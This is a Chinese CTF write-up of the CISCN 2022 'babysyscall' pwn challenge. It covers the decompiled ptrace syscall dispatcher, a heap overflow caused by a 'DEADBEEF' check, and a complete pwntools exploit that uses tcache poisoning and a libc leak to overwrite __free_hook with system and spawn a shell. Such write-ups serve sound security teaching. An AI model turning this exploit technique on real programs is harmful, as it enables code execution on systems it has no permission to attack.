CISCN 2022 ES Babysyscall

注意
本文最后更新于 2024-02-12,文中内容可能已过时。

好久没更新了,最近有一位师傅问我 CISCN 2022 ES babysyscall 一题怎么做,故翻出来研究了一下,其实就是常规堆题套壳,如果有其他有意思的题目,欢迎师傅们与我探讨!

babysyscall

程序代码

子程序

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
void __noreturn child()
{
  __int64 v0; // rax
  __int64 v1; // rax
  __int64 v2; // rax
  __int64 v3; // rax
  __int64 v4; // rax
  __int64 v5; // rbx
  __int64 v6; // rax
  __int64 v7; // rax
  __int64 v8; // rbx
  __int64 v9; // rax
  __int64 v10; // rax
  __int64 v11; // rax
  __int64 v12; // rax
  __int64 v13; // rax
  __int64 size; // rbx
  __int64 ptr; // rax
  __int64 v16; // rax
  __int64 v17; // rax
  __int64 v18; // rax
  __int64 v19; // rbx
  __int64 v20; // rax
  __int64 v21; // rax
  __int64 v22; // rax

  ptrace(PTRACE_TRACEME, 0LL, 0LL, 0LL);
  raise(0x12);
  v0 = strlen(logo);
  my_syscall(0x1234LL, (__int64)logo, v0, 0LL);
  my_syscall(0x9811LL, (__int64)get_sym, 0LL, 0LL);
  my_syscall(0x9824LL, 30LL, 0LL, 0LL);         // alarm(30)
  while ( 1 )
  {
    v1 = my_syscall(0x9811LL, (__int64)get_string, 2LL, 0LL);
    my_syscall(0x9811LL, printf_ptr, v1, 0LL);  // printf(">> ")
    choice_number = my_syscall(0x9811LL, (__int64)get_int, 0LL, 0LL);
    if ( choice_number == 0x33 )                // SHOW
    {
      v12 = my_syscall(0x9811LL, (__int64)get_string, 0xDLL, 0LL);
      my_syscall(0x9811LL, printf_ptr, v12, 5LL);// printf("idx: ")
      idx = my_syscall(0x9811LL, (__int64)get_int, 0LL, 0LL);
      if ( (unsigned int)idx > 4 || !my_syscall(0x9811LL, (__int64)get_ptr_pool, idx, 0LL) )
        goto bad;
      v13 = my_syscall(0x9811LL, (__int64)get_string, 9LL, 0LL);
      my_syscall(0x9811LL, printf_ptr, v13, 0LL);// printf("content: ")
      size = my_syscall(0x9811LL, (__int64)get_size_pool, idx, 0LL);
      ptr = my_syscall(0x9811LL, (__int64)get_ptr_pool, idx, 0LL);
      my_syscall(0x1234LL, ptr, size, 0LL);
    }
    else if ( (unsigned __int64)choice_number > 0x33 )
    {
      if ( choice_number == 0x44 )              // EDIT
      {
        v16 = my_syscall(0x9811LL, (__int64)get_string, 0xDLL, 0LL);
        my_syscall(0x9811LL, printf_ptr, v16, 5LL);// printf("idx: ")
        idx = my_syscall(0x9811LL, (__int64)get_int, 0LL, 0LL);
        if ( (unsigned int)idx > 4 || !my_syscall(0x9811LL, (__int64)get_ptr_pool, idx, 0LL) )
          goto bad;
        v18 = my_syscall(0x9811LL, (__int64)get_string, 9LL, 0LL);
        my_syscall(0x9811LL, printf_ptr, v18, 0LL);// printf("content: ")
        v19 = my_syscall(0x9811LL, (__int64)get_size_pool, idx, 0LL);
        v20 = my_syscall(0x9811LL, (__int64)get_ptr_pool, idx, 0LL);
        my_syscall(0x1231LL, v20, v19, 0LL);
      }
      else
      {
        if ( choice_number == 0x55 )            // EXIT
        {
          v21 = my_syscall(0x9811LL, (__int64)get_string, 0xBLL, 0LL);
          my_syscall(0x9811LL, printf_ptr, v21, 0LL);// printf("bye!\n")
          exit(0);
        }
what:
        v22 = my_syscall(0x9811LL, (__int64)get_string, 0xCLL, 0LL);
        my_syscall(0x9811LL, printf_ptr, v22, 0LL);// printf("what?\n")
      }
    }
    else if ( choice_number == 0x11 )
    {
      idx = my_syscall(0x9811LL, (__int64)find_idx, 0LL, 0LL);
      if ( (unsigned int)idx > 4 )
        goto bad;
      if ( my_syscall(0x9811LL, (__int64)get_ptr_pool, idx, 0LL) )
        goto bad;
      v2 = my_syscall(0x9811LL, (__int64)get_string, 5LL, 0LL);
      my_syscall(0x9811LL, printf_ptr, v2, 5LL);// printf("size: ")
      malloc_size = my_syscall(0x9811LL, (__int64)get_int, 0LL, 0LL);
      if ( malloc_size <= 0 )
        goto bad;
      if ( malloc_size > 0x28 )
        goto bad;
      v3 = my_syscall(0x9811LL, malloc_ptr, malloc_size, 0LL);
      my_syscall(0x9811LL, (__int64)set_ptr_pool, idx, v3);
      v4 = my_syscall(0x9811LL, (__int64)get_string, 9LL, 0LL);
      my_syscall(0x9811LL, printf_ptr, v4, 0LL);// printf("content: ")
      v5 = malloc_size;
      v6 = my_syscall(0x9811LL, (__int64)get_ptr_pool, idx, 0LL);
      my_syscall(0x1231LL, v6, v5, 0LL);        // read(ptr, size)
      v7 = my_syscall(0x9811LL, (__int64)get_ptr_pool, idx, 0LL);
      if ( my_syscall(0x9811LL, (__int64)check_DEADBEEF, v7, 0LL) )
        goto bad;
      my_syscall(0x9811LL, (__int64)set_size_pool, idx, malloc_size);
      v8 = my_syscall(0x9811LL, (__int64)get_ptr_pool, idx, 0LL) & 0xFFF;
      v9 = my_syscall(0x9811LL, (__int64)get_string, 7LL, 0LL);
      my_syscall(0x9811LL, printf_ptr, v9, v8); // printf("addr: %p\n", ptr_pool[idx] & 0xFFF)
    }
    else
    {
      if ( choice_number != 0x22 )
        goto what;
      v10 = my_syscall(0x9811LL, (__int64)get_string, 0xDLL, 0LL);
      my_syscall(0x9811LL, printf_ptr, v10, 5LL);// printf("idx: ")
      idx = my_syscall(0x9811LL, (__int64)get_int, 0LL, 0LL);
      if ( (unsigned int)idx <= 4 && my_syscall(0x9811LL, (__int64)get_ptr_pool, idx, 0LL) )
      {
        v11 = my_syscall(0x9811LL, (__int64)get_ptr_pool, idx, 0LL);
        my_syscall(0x9811LL, free_ptr, v11, 0LL);// free(ptr_pool[idx])
        my_syscall(0x9811LL, (__int64)set_ptr_pool, idx, 0LL);// ptr_pool[idx] = 0
      }
      else
      {
bad:
        v17 = my_syscall(0x9811LL, (__int64)get_string, 3LL, 0LL);
        my_syscall(0x1234LL, v17, 4LL, 0LL);    // print("???\n")
      }
    }
  }
}

主程序

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
__int64 __fastcall parent(unsigned int child_pid)
{
  __int64 result; // rax
  int stat_loc; // [rsp+14h] [rbp-ECh] BYREF
  __int64 v3; // [rsp+18h] [rbp-E8h]
  struct user_regs_struct s; // [rsp+20h] [rbp-E0h] BYREF

  v3 = 0LL;
  waitpid(child_pid, &stat_loc, 0);
  result = (unsigned __int8)stat_loc;
  if ( (unsigned __int8)stat_loc == 127 )
  {
    memset(&s, 0, sizeof(s));
    while ( 1 )
    {
      result = (unsigned __int8)stat_loc;
      if ( (unsigned __int8)stat_loc != 0x7F )
        break;
      ptrace(PTRACE_SYSCALL, child_pid, 0LL, 0LL);
      waitpid(child_pid, &stat_loc, 0);
      if ( BYTE1(stat_loc) != 5 )
      {
        kill(child_pid, 9);
        exit(0xFFFFFFFF);
      }
      ptrace(PTRACE_GETREGS, child_pid, 0LL, &s);
      if ( s.orig_rax == 0x9811 )
      {
        s.rip = s.rdi;
        s.rdi = s.rsi;
        s.rsi = s.rdx;
        s.rsp += 8LL;
        ptrace(PTRACE_SETREGS, child_pid, 0LL, &s);// call rdi(rsi, rdx)
      }
      if ( s.orig_rax == 0x1231 )
      {
        s.orig_rax = 0LL;
        s.rdx = s.rsi;
        s.rsi = s.rdi;
        s.rdi = 0LL;
        ptrace(PTRACE_SETREGS, child_pid, 0LL, &s);// read(0, rdi, rsi)
      }
      if ( s.orig_rax == 0x1234 )
      {
        s.orig_rax = 1LL;
        s.rdx = s.rsi;
        s.rsi = s.rdi;
        s.rdi = 1LL;
        ptrace(PTRACE_SETREGS, child_pid, 0LL, &s);// write(1, rdi, rsi)
      }
      if ( s.orig_rax == 0x9824 )
      {
        s.orig_rax = 0x25LL;
        ptrace(PTRACE_SETREGS, child_pid, 0LL, &s);// alarm(rdi)
      }
      ptrace(PTRACE_SYSCALL, child_pid, 0LL, 0LL);
      waitpid(child_pid, &stat_loc, 0);
    }
  }
  return result;
}

子程序整理后的代码

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

unsigned long long size_pool[4];
void *ptr_pool[4];


int choice_number;
int idx;
int size;

int get_int()
{
  char s[0x30];
  memset(s, 0, sizeof(s));
  read(0, s, sizeof(s));
  return atoi(s);
}

int find_idx()
{
  int i;

  for ( i = 0; i <= 3; ++i )
  {
    if ( !ptr_pool[i] )
      return i;
  }
  return -1u;
}

void init_io()
{
  setbuf(stdin, 0LL);
  setbuf(stderr, 0LL);
  setbuf(stdout, 0LL);
}

int main()
{
	init_io();
	while(1)
	{
		printf(">> ");
		choice_number = get_int();
		switch(choice_number)
		{
			case 0x11:
				idx = find_idx();
				if ((unsigned int)idx > 4)
					goto bad;
				if (ptr_pool[idx])
					goto bad;
				printf("size: ");
				size = get_int();
				if (size <= 0 || size > 0x28)
					goto bad;
		
				ptr_pool[idx] = malloc(size);
				printf("content: ");
				read(0, ptr_pool[idx], size);
		
				if (strncmp(ptr_pool[idx], "DEADBEEF", 8uLL) == 0)
					goto bad;
		
				size_pool[idx] = size;
				printf("addr: %p\n", (unsigned long long)ptr_pool[idx] & 0xFFF);
				break;
			case 0x22:
				printf("idx: ");
				idx = get_int();
				if ( (unsigned int)idx <= 4 && ptr_pool[idx] )
				{
					free(ptr_pool[idx]);
					ptr_pool[idx] = 0;
				}
				else
				{
					bad:
					printf("???\n");
				}
				break;
			case 0x33:
				printf("idx: ");
				idx = get_int();
				if ( (unsigned int)idx > 4 || !ptr_pool[idx] )
					goto bad;
				printf("content: ");
				write(1, ptr_pool[idx], size_pool[idx]);
				break;
			case 0x44:
				printf("idx: ");
				idx = get_int();
				if ( (unsigned int)idx > 4 || !ptr_pool[idx] )
					goto bad;
				printf("content: ");
				read(0, ptr_pool[idx], size_pool[idx]);
				break;
			case 0x55:
				printf("bye!\n");
				exit(0);
				break;
			default:
				printf("what?\n");
				break;
		}


	}

	return 0;
}

程序漏洞

在 0x11 功能中,如果堆块内容中存在 DEADBEEF,就会跳过后续的 size 数组赋值造成堆溢出

利用思路

  1. 堆溢出改 tcache next 到 tcache struct 中储存 0x20 size 堆块指针处
  2. 修改 tcache struct 上的堆块指针(1 中申请得到的)得到 tcache struct 的头部,多次申请释放,直到放置到 unsorted bin 中
  3. 通过 tcache struct 泄露出 libc 指针
  4. 修改 tcache struct 上的堆块指针(1 中申请得到的)得到 __free_hook

调试建议

  1. 由于子进程被父进程所调试,所以没法再用 gdb 进行调试,这里可以编译一份子程序整理后的代码,然后把堆块布局搞清楚,再去原版程序上微调一下即可
  2. libc 给的是比较早的版本,Ubuntu GLIBC 2.27-3ubuntu1.2,先用 patchelf 替换 libc,再用 ida 修改 0x0000000000001C68 为 /lib/x86_64-linux-gnu/libc.so.5,然后再把 glibc-all-in-one 中的 libc 软链接到 /lib/x86_64-linux-gnu/libc.so.5,启动程序后能正常执行 malloc 即可

EXP

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
from pwn import *

sh = process('./pwn')
context.log_level = "debug"


def choice(idx):
    sh.sendlineafter(">> ", str(idx))


def add(size, content):
    choice(0x11)
    sh.sendlineafter("size: ", str(size))
    sh.sendafter("content: ", str(content))


def delete(idx):
    choice(0x22)
    sh.sendlineafter("idx: ", str(idx))


def show(idx):
    choice(0x33)
    sh.sendlineafter("idx: ", str(idx))


def edit(idx, content):
    choice(0x44)
    sh.sendlineafter("idx: ", str(idx))
    sh.sendafter("content: ", str(content))


add(0x28, 'a' * 0x28)  # 0
delete(0)
add(0x18, 'DEADBEEF')  # 0
add(0x18, 'b' * 0x18)  # 1
add(0x18, 'c' * 0x18)  # 2

delete(2)
delete(1)

show(0)
sh.recvuntil('content: ')
sh.recv(0x20)
heap_base = u64(sh.recv(8)) - 0x340
log.success("heap_base:\t" + hex(heap_base))

edit(0, 'a' * 0x18 + p64(0x21) + p64(heap_base + 0x50))

add(0x18, 'd' * 0x18)  # 1 fake
add(0x18, p64(heap_base + 0x10))  # 2 tcache

for i in range(8):
    add(0x18, '\x00' * 0x18)  # 3
    delete(3)
    edit(2, p64(heap_base + 0x10))

add(0x18, p64(0))  # 3
show(3)

libc_base = u64(sh.recvuntil('\x7f')[-6:].ljust(8, '\x00')) - 0x3ebca0
log.success("libc_base:\t" + hex(libc_base))

free_hook_addr = libc_base + 0x3ed8e8
system_addr = libc_base + 0x4f4e0
delete(1)
edit(2, p64(free_hook_addr))
add(0x18, p64(system_addr))  # 0

edit(2, '/bin/sh\x00')
delete(2)

# gdb.attach(sh)

sh.interactive()
0%